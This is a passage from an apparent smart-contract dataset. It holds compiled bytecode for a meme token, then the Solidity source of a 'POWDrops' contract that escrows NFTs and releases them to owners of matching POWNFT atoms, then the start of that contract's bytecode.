f913960600191505060405180910390fd5b6001600160a01b038216600090815260146020526040902054626ebe0061124f4283612a37565b1161128b5760405162461bcd60e51b815260040180806020018281038252603f815260200180613695603f913960400191505060405180910390fd5b600954604080516352b5f81d60e01b81526001600160a01b038681166004830152306024830152915191909216916352b5f81d9160448083019260209291908290030181600087803b1580156112e057600080fd5b505af11580156112f4573d6000803e3d6000fd5b505050506040513d602081101561130a57600080fd5b505060095460405147916000916001600160a01b039091169083908381818185875af1925050503d806000811461135d576040519150601f19603f3d011682016040523d82523d6000602084013e611362565b606091505b505090508015611405576040805183815290517fb0cc2628d6d644cf6be9d8110e142297ac910d6d8026d795a99f272fd9ad60b19181900360200190a1600954604080516338c110ef60e21b81526001600160a01b038881166004830152600060248301819052925193169263e30443bc9260448084019391929182900301818387803b1580156113f257600080fd5b505af1925050508015611403575060015b505b5050505050565b600954604080516304ddf6ef60e11b815290516000926001600160a01b0316916309bbedde916004808301926020929190829003018186803b158015610ea657600080fd5b611459612202565b6005546001600160a01b039081169116146114a9576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b6007546001600160a01b03828116911614156114f65760405162461bcd60e51b815260040180806020018281038252602d8152602001806136d4602d913960400191505060405180910390fd5b6007546040516001600160a01b03918216918316907f8fc842bbd331dfa973645f4ed48b11683d501ebf1352708d77a5da2ab49a576e90600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b600c5481565b600954604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156115aa57600080fd5b505afa1580156115be573d6000803e3d6000fd5b505050506040513d60208110156115d457600080fd5b505192915050565b6001600160a01b031660009081526020819052604090205490565b600e5481565b611605612202565b6005546001600160a01b03908116911614611655576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b60126020526000908152604090205460ff1681565b6116bc612202565b6005546001600160a01b0390811691161461170c576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b611736612202565b6005546001600160a01b03908116911614611786576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b6009546001600160a01b03828116911614156117d35760405162461bcd60e51b815260040180806020018281038252603781526020018061385b6037913960400191505060405180910390fd5b6000819050306001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561181b57600080fd5b505afa15801561182f573d6000803e3d6000fd5b505050506040513d602081101561184557600080fd5b50516001600160a01b03161461188c5760405162461bcd60e51b815260040180806020018281038252604f815260200180613892604f913960600191505060405180910390fd5b806001600160a01b03166331e79db0826040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b1580156118db57600080fd5b505af11580156118ef573d6000803e3d6000fd5b50506040805163031e79db60e41b815230600482015290516001600160a01b03851693506331e79db09250602480830192600092919082900301818387803b15801561193a57600080fd5b505af115801561194e573d6000803e3d6000fd5b50505050806001600160a01b03166331e79db0611969611a85565b6040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b1580156119a857600080fd5b505af11580156119bc573d6000803e3d6000fd5b50506007546040805163031e79db60e41b81526001600160a01b039283166004820152905191851693506331e79db0925060248082019260009290919082900301818387803b158015611a0e57600080fd5b505af1158015611a22573d6000803e3d6000fd5b50506009546040516001600160a01b03918216935090851691507f90c7d74461c613da5efa97d90740869367d74ab3aa5837aa4ae9a975f954b7a890600090a3600980546001600160a01b0319166001600160a01b039290921691909117905550565b6005546001600160a01b031690565b600854600160b81b900460ff1681565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610be15780601f10610bb657610100808354040283529160200191610be1565b611b0d612202565b6005546001600160a01b03908116911614611b5d576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b6008546001600160a01b0383811691161415611baa5760405162461bcd60e51b815260040180806020018281038252604b8152602001806139a4604b913960600191505060405180910390fd5b611bb48282612a79565b5050565b6000610bff611bc5612202565b84610d628560405180606001604052806025815260200161397f6025913960016000611bef612202565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906129a0565b611c28612202565b6005546001600160a01b03908116911614611c78576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b601055565b600954604080516302a2e74960e61b81526001600160a01b0384811660048301529151600093929092169163a8b9d24091602480820192602092909190829003018186803b1580156115aa57600080fd5b6000610bff611cdb612202565b84846122f2565b611cea612202565b6005546001600160a01b03908116911614611d3a576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b600854600160b01b900460ff1615611d5e576008805460ff60b01b19169055611d72565b6008805460ff60b01b1916600160b01b1790555b565b60136020526000908152604090205460ff1681565b611d91612202565b6005546001600160a01b03908116911614611de1576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526011602052604090205460ff1615158115151415611e3f5760405162461bcd60e51b81526004018080602001828103825260348152602001806138276034913960400191505060405180910390fd5b6001600160a01b038216600081815260116020908152604091829020805460ff1916851515908117909155825190815291517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79281900390910190a25050565b611ea7612202565b6005546001600160a01b03908116911614611ef7576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b60005b8251811015611f4e578160116000858481518110611f1457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611efa565b507f7fdaf542373fa84f4ee8d662c642f44e4c2276a217d7d29e548b6eb29a233b35828260405180806020018315158152602001828103825284818151815260200191508051906020019060200280838360005b83811015611fba578181015183820152602001611fa2565b50505050905001935050505060405180910390a15050565b611bb4338383612ba7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b612010612202565b6005546001600160a01b03908116911614612060576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b6001600160a01b0381166120a55760405162461bcd60e51b81526004018080602001828103825260268152602001806135756026913960400191505060405180910390fd5b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6009546040805163fbcbc0f160e01b81526001600160a01b038481166004830152825160009485948594939091169263fbcbc0f19260248083019392829003018186803b15801561215157600080fd5b505afa158015612165573d6000803e3d6000fd5b505050506040513d604081101561217b57600080fd5b50805160209091015190935091508282612194866115dc565b9250925092509193909250565b6000828201838110156121fb576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661224b5760405162461bcd60e51b81526004018080602001828103825260248152602001806138036024913960400191505060405180910390fd5b6001600160a01b0382166122905760405162461bcd60e51b815260040180806020018281038252602281526020018061359b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166123375760405162461bcd60e51b81526004018080602001828103825260258152602001806137de6025913960400191505060405180910390fd5b6001600160a01b03821661237c5760405162461bcd60e51b81526004018080602001828103825260238152602001806135526023913960400191505060405180910390fd5b42600e5411156123dd576001600160a01b03831660009081526012602052604090205460ff166123dd5760405162461bcd60e51b81526004018080602001828103825260428152602001806135bd6042913960600191505060405180910390fd5b806123f3576123ee83836000612e51565b61299b565b600854600160b01b900460ff16156125d1576001600160a01b03831660009081526013602052604090205460ff16156124eb57600654604080516312bdf42360e01b81526001600160a01b0385811660048301528681166024830152326044830152915191909216916312bdf4239160648083019260209291908290030181600087803b15801561248357600080fd5b505af1158015612497573d6000803e3d6000fd5b505050506040513d60208110156124ad57600080fd5b5051156124eb5760405162461bcd60e51b81526004018080602001828103825260268152602001806139596026913960400191505060405180910390fd5b6001600160a01b03821660009081526013602052604090205460ff16156125d157600654604080516312bdf42360e01b81526001600160a01b0386811660048301528581166024830152326044830152915191909216916312bdf4239160648083019260209291908290030181600087803b15801561256957600080fd5b505af115801561257d573d6000803e3d6000fd5b505050506040513d602081101561259357600080fd5b5051156125d15760405162461bcd60e51b81526004018080602001828103825260268152602001806139596026913960400191505060405180910390fd5b600854600160b81b900460ff16801561260257506001600160a01b03831660009081526013602052604090205460ff165b15612648576010548111156126485760405162461bcd60e51b81526004018080602001828103825260258152602001806137b96025913960400191505060405180910390fd5b600854600160a01b900460ff1615801561266c5750600854600160a81b900460ff16155b801561269157506001600160a01b03831660009081526013602052604090205460ff16155b80156126b657506001600160a01b03831660009081526011602052604090205460ff16155b80156126db57506001600160a01b03821660009081526011602052604090205460ff16155b15612709576008805460ff60a01b1916600160a01b1790556126fb612fac565b6008805460ff60a01b191690555b600854600090600160a01b900460ff161580156127305750600854600160a81b900460ff16155b6001600160a01b03851660009081526011602052604090205490915060ff168061277257506001600160a01b03831660009081526011602052604090205460ff165b806127ba57506001600160a01b03841660009081526013602052604090205460ff161580156127ba57506001600160a01b03831660009081526013602052604090205460ff16155b156127c3575060005b80156128065760006127eb60646127e5600d54866130ba90919063ffffffff16565b90613113565b90506127f78382612a37565b9250612804853083612e51565b505b612811848484612e51565b6009546001600160a01b031663e30443bc8561282c816115dc565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561287257600080fd5b505af1925050508015612883575060015b506009546001600160a01b031663e30443bc8461289f816115dc565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156128e557600080fd5b505af19250505080156128f6575060015b50600854600160b01b900460ff1615612972576006546040805163b25d625960e01b81526001600160a01b03878116600483015286811660248301529151919092169163b25d625991604480830192600092919082900301818387803b15801561295f57600080fd5b505af1925050508015612970575060015b505b506001600160a01b03808416600090815260146020526040808220429081905592851682529020555b505050565b60008184841115612a2f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129f45781810151838201526020016129dc565b50505050905090810190601f168015612a215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60006121fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129a0565b6001600160a01b03821660009081526013602052604090205460ff1615158115151415612ad75760405162461bcd60e51b81526004018080602001828103825260428152602001806136256042913960600191505060405180910390fd5b6001600160a01b0382166000908152601360205260409020805460ff19168215801591909117909155612b6b576009546040805163031e79db60e41b81526001600160a01b038581166004830152915191909216916331e79db091602480830192600092919082900301818387803b158015612b5257600080fd5b505af1158015612b66573d6000803e3d6000fd5b505050505b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b600954604080516302a2e74960e61b81526001600160a01b0386811660048301529151600093929092169163a8b9d24091602480820192602092909190829003018186803b158015612bf857600080fd5b505afa158015612c0c573d6000803e3d6000fd5b505050506040513d6020811015612c2257600080fd5b5051905080612c625760405162461bcd60e51b815260040180806020018281038252602e815260200180613667602e913960400191505060405180910390fd5b82612d4457600954604080516352b5f81d60e01b81526001600160a01b03878116600483018190526024830152915160009392909216916352b5f81d9160448082019260209290919082900301818787803b158015612cc057600080fd5b505af1158015612cd4573d6000803e3d6000fd5b505050506040513d6020811015612cea57600080fd5b505190508015612d3d5760408051828152600060208201526001600160a01b0387168183015290517f67dd3d116bf53e0ddda53bb148a5fdc129854e1c507c0eeda9190049a9bbc84f9181900360600190a15b505061299b565b600954604080516352b5f81d60e01b81526001600160a01b038781166004830152306024830152915160009392909216916352b5f81d9160448082019260209290919082900301818787803b158015612d9c57600080fd5b505af1158015612db0573d6000803e3d6000fd5b505050506040513d6020811015612dc657600080fd5b505190508015611405576008805460ff60a81b1916600160a81b1790556000612df0828588613155565b6008805460ff60a81b1916905560408051848152602081018390526001600160a01b0389168183015290519192507f67dd3d116bf53e0ddda53bb148a5fdc129854e1c507c0eeda9190049a9bbc84f919081900360600190a1505050505050565b6001600160a01b038316612e965760405162461bcd60e51b81526004018080602001828103825260258152602001806137de6025913960400191505060405180910390fd5b6001600160a01b038216612edb5760405162461bcd60e51b81526004018080602001828103825260238152602001806135526023913960400191505060405180910390fd5b612ee683838361299b565b612f23816040518060600160405280602681526020016135ff602691396001600160a01b03861660009081526020819052604090205491906129a0565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612f5290826121a1565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000612fb7306115dc565b9050612fc281613346565b60004790506000612fe4600d546127e5600c54856130ba90919063ffffffff16565b600a546040519192506001600160a01b03169082156108fc029083906000818181858888f1935050505015801561301f573d6000803e3d6000fd5b5060095460405147916000916001600160a01b039091169083908381818185875af1925050503d8060008114613071576040519150601f19603f3d011682016040523d82523d6000602084013e613076565b606091505b505090508015611405576040805183815290517fb0cc2628d6d644cf6be9d8110e142297ac910d6d8026d795a99f272fd9ad60b19181900360200190a15050505050565b6000826130c957506000610c03565b828202828482816130d657fe5b04146121fb5760405162461bcd60e51b81526004018080602001828103825260218152602001806137016021913960400191505060405180910390fd5b60006121fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506134ec565b60408051600280825260608083018452600093909291906020830190803683375050600754604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156131bf57600080fd5b505afa1580156131d3573d6000803e3d6000fd5b505050506040513d60208110156131e957600080fd5b5051815182906000906131f857fe5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061322657fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506000613251846115dc565b9050600760009054906101000a90046001600160a01b03166001600160a01b031663b6f9de9587878588426040518663ffffffff1660e01b81526004018085815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156132e65781810151838201526020016132ce565b50505050905001955050505050506000604051808303818588803b15801561330d57600080fd5b505af1158015613321573d6000803e3d6000fd5b5050505050600061333b82613335876115dc565b90612a37565b979650505050505050565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061337457fe5b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156133c857600080fd5b505afa1580156133dc573d6000803e3d6000fd5b505050506040513d60208110156133f257600080fd5b505181518290600190811061340357fe5b6001600160a01b0392831660209182029290920101526007546134299130911684612206565b60075460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156134af578181015183820152602001613497565b505050509050019650505050505050600060405180830381600087803b1580156134d857600080fd5b505af1158015611403573d6000803e3d6000fd5b6000818361353b5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156129f45781810151838201526020016129dc565b50600083858161354757fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573734a504f50444f47453a2054686973206163636f756e742063616e6e6f742073656e6420746f6b656e7320756e74696c2074726164696e6720697320656e61626c656445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654a504f50444f47453a204175746f6d61746564206d61726b6574206d616b6572207061697220697320616c72656164792073657420746f20746861742076616c75654a504f50444f47453a20436c61696d657220686173206e6f20776974686472617761626c65206469766964656e644a504f50444f47453a204163636f756e74206d7573742068617665206265656e20696e61637469766520666f72206174206c65617374203132207765656b734a504f50444f47453a2054686520726f7574657220616c72656164792068617320746861742061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774a504f50444f47453a204163636f756e742062616c616e6365206d757374206265206c657373207468656e206d696e696d756d20746f6b656e2062616c616e636520666f72206469766964656e647345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724a504f50444f47453a2045786365656473206d617820707572636861736520616d6f756e7445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734a504f50444f47453a204163636f756e7420697320616c7265616479207468652076616c7565206f6620276578636c75646564274a504f50444f47453a20546865206469766964656e6420747261636b657220616c726561647920686173207468617420616464726573734a504f50444f47453a20546865206e6577206469766964656e6420747261636b6572206d757374206265206f776e656420627920746865204a504f50444f474520746f6b656e20636f6e74726163744a504f50444f47453a205072652074726164696e6720697320616c7265616479207468652076616c7565206f6620276578636c75646564274a504f50444f47453a204d617820707572636861736520656e61626c656420697320616c7265616479207468652076616c7565206f662027656e61626c65642742656570204265657020426f6f702c20596f752772652061207069656365206f6620706f6f7045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4a504f50444f47453a2054686520556e695377617020706169722063616e6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b65744d616b65725061697273a2646970667358221220730f8a7e039389065a894af8644bcaa56ba84e433db49e02185cab0bcd3a030864736f6c634300060c0033
[ 0, 21, 7, 6, 11, 13, 5 ]
0xF24BC9C899E71708b5D076714408465B6C203A46
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "./interfaces/IAtomReader.sol"; import "./interfaces/IPOWNFTPartial.sol"; import "./interfaces/IERC721Partial.sol"; //interface IERC721TokenReceiver { // //note: the national treasure is buried under parliament house // function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4); //} contract POWDrops { event RegisterDrop(address indexed tokenAddress, uint dropTokenId, uint atomicNumber, int8 ionCharge, bool isIon, uint tokenId, uint blockNumber); event ClaimDrop(address indexed tokenAddress, uint dropTokenId,uint tokenId, address indexed claimer); event CleanupDrop(address indexed tokenAddress, uint dropTokenId); IPOWNFTPartial powNFT; IAtomReader atomReader; constructor(address _powNFT, address _atomReader){ powNFT = IPOWNFTPartial(_powNFT); atomReader = IAtomReader(_atomReader); } struct Drop{ uint8 atomicNumber; int8 ionCharge; uint minTokenId; bool isIon; } mapping(address => mapping(uint => Drop)) drops; function getDrop(address tokenAddress, uint dropTokenId) public view returns(uint8 atomicNumber, int8 ionCharge, uint minTokenId, bool isIon){ Drop memory drop = drops[tokenAddress][dropTokenId]; require(drop.minTokenId != 0,"no_drop"); return (drop.atomicNumber, drop.ionCharge, drop.minTokenId, drop.isIon); } function registerDrop(address tokenAddress, uint dropTokenId, uint atomicNumber, int8 ionCharge, bool isIon, uint tokenId) public{ // require(atomicNumber > 0,"atomicNumber_min"); require(atomicNumber <= 118,"atomicNumber_max"); uint currentId = powNFT.totalSupply() + powNFT.UNMIGRATED(); if(tokenId > 0){ require(tokenId > currentId && tokenId < currentId + 100,"tokenId"); require(ionCharge == 0,"ionCharge_forbidden"); require(isIon == false,"isIon_forbidden"); require(atomicNumber == 0,"atomicNumber_forbidden"); }else if(ionCharge != 0){ if(atomicNumber != 0){ require(atomReader.isValidIonCharge(atomicNumber,ionCharge),"invalid_charge"); }else{ require(ionCharge >= -3 && ionCharge <= 7,"invalid_charge_range"); } require(isIon == false,"isIon_forbidden"); // isIon = false; } else if(isIon && atomicNumber > 0){ revert("isIon_specific"); // require(atomReader.canIonise(atomicNumber),"no_ions"); } else if(!isIon){ //Else just the atomicNumber require(atomicNumber > 0,"no_atomicNumber"); } //else isIon with no atomic number if(tokenId > 0){ drops[tokenAddress][dropTokenId] = Drop( 0, 0, tokenId, false ); emit RegisterDrop(tokenAddress, dropTokenId, 0, 0, false, tokenId, block.number); }else if(!isIon){ tokenId = currentId + 1; drops[tokenAddress][dropTokenId] = Drop( uint8(atomicNumber), ionCharge, tokenId, false ); emit RegisterDrop(tokenAddress, dropTokenId, atomicNumber, ionCharge, false, tokenId, block.number); }else{ tokenId = currentId + 1; drops[tokenAddress][dropTokenId] = Drop( uint8(atomicNumber), 0, tokenId, true ); emit RegisterDrop(tokenAddress, dropTokenId, atomicNumber, 0, true, tokenId, block.number); } IERC721Partial(tokenAddress).transferFrom(msg.sender,address(this),dropTokenId); } function claimDrop(address tokenAddress, uint dropTokenId, uint tokenId) public{ require(powNFT.ownerOf(tokenId) == msg.sender,'owner'); Drop memory drop = drops[tokenAddress][dropTokenId]; require(drop.minTokenId != 0,"no_drop"); require(tokenId >= drop.minTokenId,"tokenId"); (uint atomicNumber, int8 ionCharge) = atomReader.getAtomData(tokenId); if(drop.atomicNumber != 0){ require(uint8(atomicNumber) == drop.atomicNumber,"atomicNumber"); } if(drop.ionCharge != 0){ require(ionCharge == drop.ionCharge,"ionCharge"); } if(drop.isIon){ require(ionCharge != 0,"isIon"); } delete drops[tokenAddress][dropTokenId]; emit ClaimDrop(tokenAddress, dropTokenId,tokenId,msg.sender); IERC721Partial(tokenAddress).transferFrom(address(this),msg.sender,dropTokenId); } function cleanupDrop(address tokenAddress, uint dropTokenId) public{ uint32 size; assembly { size := extcodesize(tokenAddress) } if(size == 0){ delete drops[tokenAddress][dropTokenId]; emit CleanupDrop(tokenAddress,dropTokenId); return; } try IERC721Partial(tokenAddress).transferFrom(address(this),msg.sender,dropTokenId){ revert("okay"); }catch{ delete drops[tokenAddress][dropTokenId]; emit CleanupDrop(tokenAddress,dropTokenId); } } } //SPDX-License-Identifier: Licence to thrill pragma solidity ^0.8.0; /// @title POWNFT Atom Reader /// @author AnAllergyToAnalogy /// @notice On-chain calculation atomic number and ionisation data about POWNFT Atoms. Replicates functionality done off-chain for metadata. interface IAtomReader{ /// @notice Get atomic number and ionic charge of a specified POWNFT Atom /// @dev Gets Atom hash from POWNFT contract, so will throw for _tokenId of non-existent token. /// @param _tokenId TokenId of the Atom to query /// @return atomicNumber Atomic number of the Atom /// @return ionCharge Ionic charge of the Atom function getAtomData(uint _tokenId) external view returns(uint atomicNumber, int8 ionCharge); /// @notice Get atomic number of a specified POWNFT Atom /// @dev Gets Atom hash from POWNFT contract, so will throw for _tokenId of non-existent token. /// @param _tokenId TokenId of the Atom to query /// @return Atomic number of the Atom function getAtomicNumber(uint _tokenId) external view returns(uint); /// @notice Get ionic charge of a specified POWNFT Atom /// @dev Gets Atom hash from POWNFT contract, so will throw for _tokenId of non-existent token. /// @param _tokenId TokenId of the Atom to query /// @return ionic charge of the Atom function getIonCharge(uint _tokenId) external view returns(int8); /// @notice Get array of all possible ions for a specified element /// @param atomicNumber Atomic number of element to query /// @return Array of possible ionic charges function getIons(uint atomicNumber) external pure returns(int8[] memory); /// @notice Check if a given element can have a particular ionic charge /// @param atomicNumber Atomic number of element to query /// @param ionCharge Ionic charge to check /// @return True if this element can have this ion, false otherwise. function isValidIonCharge(uint atomicNumber, int8 ionCharge) external pure returns(bool); /// @notice Check if a given element has any potential ions /// @param atomicNumber Atomic number of element to query /// @return True if this element can ionise, false otherwise. function canIonise(uint atomicNumber) external pure returns(bool); } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; interface IPOWNFTPartial{ function UNMIGRATED() external view returns(uint); function hashOf(uint _tokenId) external view returns(bytes32); function totalSupply() external view returns (uint256); function ownerOf(uint256 _tokenId) external view returns(address); function supportsInterface(bytes4 interfaceID) external view returns (bool); } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; interface IERC721Partial{ function transferFrom(address _from, address _to, uint256 _tokenId) external; function supportsInterface(bytes4 interfaceID) external view returns (bool); }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80632a81c90c146100515780633901c20e1461006d57806374256ab414610089578063ab04d723146100a5575b600080fd5b61006b600480360381019061006691906114e8565b6100d8565b005b610087600480360381019061008291906114ac565b61066b565b005b6100a3600480360381019061009e9190611537565b610902565b005b6100bf60048036038101906100ba91906114ac565b6112a9565b6040516100cf9493929190611c6b565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004016101489190611adb565b60206040518083038186803b15801561016057600080fd5b505afa158015610174573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101989190611483565b73ffffffffffffffffffffffffffffffffffffffff16146101ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e5906118fb565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460000b60000b60000b8152602001600182015481526020016002820160009054906101000a900460ff16151515158152505090506000816040015114156102f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102eb9061195b565b60405180910390fd5b806040015182101561033b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610332906119db565b60405180910390fd5b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634f9daee8856040518263ffffffff1660e01b81526004016103999190611adb565b604080518083038186803b1580156103b057600080fd5b505afa1580156103c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e89190611612565b915091506000836000015160ff161461044857826000015160ff168260ff1614610447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043e90611a1b565b60405180910390fd5b5b6000836020015160000b146104a457826020015160000b8160000b146104a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049a90611a5b565b60405180910390fd5b5b8260600151156104f65760008160000b14156104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec906119fb565b60405180910390fd5b5b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600080820160006101000a81549060ff02191690556000820160016101000a81549060ff021916905560018201600090556002820160006101000a81549060ff021916905550503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fc5caafd922058fc07f6ff81427d43c0fb7c1d7746378209df1c9876f2405538487876040516105ec929190611b80565b60405180910390a38573ffffffffffffffffffffffffffffffffffffffff166323b872dd3033886040518463ffffffff1660e01b8152600401610631939291906118c4565b600060405180830381600087803b15801561064b57600080fd5b505af115801561065f573d6000803e3d6000fd5b50505050505050505050565b6000823b905060008163ffffffff16141561076b57600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600080820160006101000a81549060ff02191690556000820160016101000a81549060ff021916905560018201600090556002820160006101000a81549060ff021916905550508273ffffffffffffffffffffffffffffffffffffffff167f0e54ab0717d3b0cd21d7c65197e17b26a8e8cc9d8737d2020f46916ca1538c948360405161075d9190611adb565b60405180910390a2506108fe565b8273ffffffffffffffffffffffffffffffffffffffff166323b872dd3033856040518463ffffffff1660e01b81526004016107a8939291906118c4565b600060405180830381600087803b1580156107c257600080fd5b505af19250505080156107d3575060015b6108c157600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600080820160006101000a81549060ff02191690556000820160016101000a81549060ff021916905560018201600090556002820160006101000a81549060ff021916905550508273ffffffffffffffffffffffffffffffffffffffff167f0e54ab0717d3b0cd21d7c65197e17b26a8e8cc9d8737d2020f46916ca1538c94836040516108b49190611adb565b60405180910390a26108fc565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f390611abb565b60405180910390fd5b505b5050565b6076841115610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093d9061197b565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663af88d5996040518163ffffffff1660e01b815260040160206040518083038186803b1580156109af57600080fd5b505afa1580156109c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e791906115e9565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4d57600080fd5b505afa158015610a61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8591906115e9565b610a8f9190611cc1565b90506000821115610bc8578082118015610ab45750606481610ab19190611cc1565b82105b610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea906119db565b60405180910390fd5b60008460000b14610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b309061191b565b60405180910390fd5b6000151583151514610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7790611a7b565b60405180910390fd5b60008514610bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bba9061193b565b60405180910390fd5b610e27565b60008460000b14610d8f5760008514610ccc57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166380dc799786866040518363ffffffff1660e01b8152600401610c38929190611af6565b60206040518083038186803b158015610c5057600080fd5b505afa158015610c64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8891906115c0565b610cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbe90611a3b565b60405180910390fd5b610d43565b7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd8460000b12158015610d03575060078460000b13155b610d42576040517f08c37